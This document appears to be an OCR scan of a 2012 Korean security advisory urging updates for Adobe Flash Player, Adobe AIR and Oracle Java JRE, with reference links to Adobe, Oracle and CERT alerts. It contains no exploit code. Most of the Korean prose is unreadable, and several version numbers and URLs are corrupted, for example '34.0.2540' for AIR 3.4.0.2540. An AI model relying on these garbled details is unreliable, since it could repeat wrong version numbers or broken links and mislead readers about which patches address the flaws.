=2, OjZIEA| =4 9| Adobe Flash Player 11.3.300.271 5! O|™MHT™ A2 X}
- Adobe Flash Player Download Center(http://get.adobe.com/kr/flashplayer/)0f 223510

Adobe Flash Player 11.4.402.265H{ ™2 AX|slALI XI5 HHO|EE 0|8310 Yf 0=
« 2|52 2HA9| Adobe Flash Player 11.2.202.236 5! O|MH 7T ALEXt

IIE
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http://www.adobe.com/support/security/bulletins/apsb12-16.html
http://get.adobe.com/shockwave
http://www.adobe.com/support/security/bulletins/apsb12-17.html
http://get.adobe.com/kr/flashplayer/

- Adobe Flash Player Download Center(http://get.adobe.com/kr/flashplayer/)0| 2235}
Adobe Flash Player 11.2.202.238 H 72 AX|

« OtEZO0|E 4x 2HH0M S2S= Adobe Flash Player 11.1.115.11 5! O|™MH{™ AE X}
- ZH| YUGIO|EE S3f Adobe Flash Player 11.1.115.17 ™2 AX|

« OtEZO0|E 3x 2HE0M S26= Adobe Flash Player 11.1.111.10 5! O|™MH{™ AE X}
- ZH| 24|0|EE &34 Adobe Flash Player 11.1.111.16 H& & AX|

« 222 O§7IEA| 22| Adobe AIR 3.3.0.3670 H{™ AEX}

- Adobe AIR Download Center(http://get.adobe.com/kr/air)0f] 823510 Adobe AIR
34.0.2540 HHHEZ MX|

- i0S 8 AIRRE =&t 2 E AIR 3.3.0.3690 SDK H{™ AtEX}

- Adobe AIR Developer Center (http://www.adobe.com/devnet/air/air-sdk-download.html)
of &+23}0f Adobe AIR 3.4.0.2540 SDK HFX =S AX|

« OIC 20|t 340N SZt5l= Adobe AIR 3.3.0.3650 5! O|MH{™ AZXt

- OFEZ0|E HMH|OAM Google Play EE= Amazon Marketplace HAS S3l Adobe AIR
34.0.2540 HHEZ MX|

<%t3 AJO|E>

http://www.adobe.com/support/security/bulletins/apsb12-19.html

https://play.google.com/store/apps/details?id=com.adobe.air

http://www.amazon.com/Adobe-Systems-
AIR/dp/BO04SRNH10/ref=sr_1_6?ie=UTF8&qid=13390958488&sr=8-6

« Oracle Java JRE A1} F 24X AHOJE HD
e

X
Q21Ziit o] Java JREOIAM YZHAC ABHO| 7ts

a3 o ool WAHRYBLICL SHAE &
AN, AT 0, HAKSl Y3 52 Sof S40HH XXE JavadiBAS RESHE HTML
TS AFBA YOIHEE QEs0l HYACE RET 4 UBUCH T HAHS o

¢ 3% FCTh QEED YODER F BIM AFSAHE HIEA| AMHEOE Y0

<slig HEZ>
« JDK / JRE 7 Update 6 3 O| ™M™
« JDK / JRE 6 Update 34 3! O|MH{H

<sfz Y-
« [MO{E] - [Z23] - DAVA] - [RICIOIE]Y - (XI5 YCIOIE] 28510 YHOE &
JAVAZE ER|7F 2|0 RUAR| @2 E2, DAVAIZL BAIEX| oD HHOEE & HQt

J
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http://get.adobe.com/kr/flashplayer/
http://get.adobe.com/kr/air
http://www.adobe.com/devnet/air/air-sdk-download.html
http://www.adobe.com/support/security/bulletins/apsb12-19.html
https://play.google.com/store/apps/details?id=com.adobe.air
http://www.amazon.com/Adobe-Systems-AIR/dp/B004SRNH10/ref=sr_1_6?ie=UTF8&qid=1339095848&sr=8-6
http://www.amazon.com/Adobe-Systems-AIR/dp/B004SRNH10/ref=sr_1_6?ie=UTF8&qid=1339095848&sr=8-6

AlYzc Uof 87t KNSR KM 98S

T BoiE » B2 » L&) Java FO =] @ E
gp_ﬁ TUOE [Java | 2ot D2

P.;.rr ZEI™ 3 715 - gH0E w2

ot T ﬁ;’,‘._lrdf; '7 Java HUHOIE HALISS AFR5IS 244 5|4 HH Java
3 oigy O sTal Windows)| | RESSY @sES Hr - AlSLICK DR S48 ASSHE
- E=0 ZH0IEE 231 H251= S8 MOiE = el
2 22 . .

L MNETE: [FEE=RL -
Tunsss , HI_%* 5151 7pa I FHE RIHOIE =2l 22D,

= = o

fe 2z EHE BHEO] 713 37 HE 62 2= G:000 Java Updatell 4 BIGI0IES
| 9 27p= = i ZHOIEHLICEH YHIED} NSt 220 M AR EOIH

— OHI200 LEEFEILICE HME 01012 %2 218213
| = BHOIES £HHE = == 2 GLICH BH0IES CIE2EGH)|
|7~ Zin Z&s eralch
] S

~--~

L)

Java Updata7h 12, & 31 22 Tz
OASSE g ELICE

« = Of2jel FAZ O[3ot0 2X|E A mar 4ol JIDK E= JREE 24

http://www.oracle.com/technetwork/java/javase/downloads/index.html

Java Platform, Standard Edition r——— i
Wava SE Tu7 JDK

; |
This releases address security concemns. Oracle strongly |I DOWNLOAD * I
recommends that all Java SE 7 users upgrade to this L —

release.

Java SE Runtime Envirohment 7u7

You must accept the Oracle Binary Code License Agreement for Java SE to download this
software.
Il"";".‘;w«:oept License Agreement ' Decline License Agreement
\\
Product / File Description ‘File Size ‘Downbad
Linux x36 54 55 MB ¥ jre-Fud-linux-iS86.rpm
Linux x86 4579 MB ¥ jre-7u7-inux-i586 tar.gz
Linux xG4 52.7 MB ¥ jre-7u7-linux-xG4.rpm
Linux x64 4452 MB ® jre-7uT-linuxxB4.tar.gz
Mac 05 X 50.03 MB ¥ jre-7u7-macosx-xGd.dmg
Solaris x86 4532 MB ¥ jre-7u7-solaris-i586.tar.az
Solaris x64 14.79 MB ¥ jre-7u7-solaris-x64.tar.qz
Solaris SPARC 43.57 MB ¥ jre-7u7-solaris-sparc.tar.gz
Solaris SPARC G64-bit 17.3MB ¥ jre-7u7-solaris-sparcv9 tar.gz
Windows xB6 Online 0.85 MB ¥ jre-7u7-windows-i586-iftw.exe
Windows xB6 Offline 2973MB  {¥ jre-7ur-windows-586 exe[< 32HIE HE LG
Windows x64 31.18MB ¥ jre-7u7-windows-x64.exe X GAH|E HAE P2

<% AOIE>

http://www.krcert.or.kr/kor/data/secNoticeView.jsp?p_bulletin_writing_sequence=1246

http://www.us-cert.gov/cas/techalerts/TA12-240A.html

http://www.kb.cert.org/vuls/id/636312

http://www.oracle.com/technetwork/topics/security/alert-cve-2012-4681-1835715.html

http://www.oracle.com/technetwork/java/javase/downloads/index.html

http://www.java.com/ko/download/help/java_update.xml
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http://www.us-cert.gov/cas/techalerts/TA12-240A.html
http://www.kb.cert.org/vuls/id/636312
http://www.oracle.com/technetwork/topics/security/alert-cve-2012-4681-1835715.html
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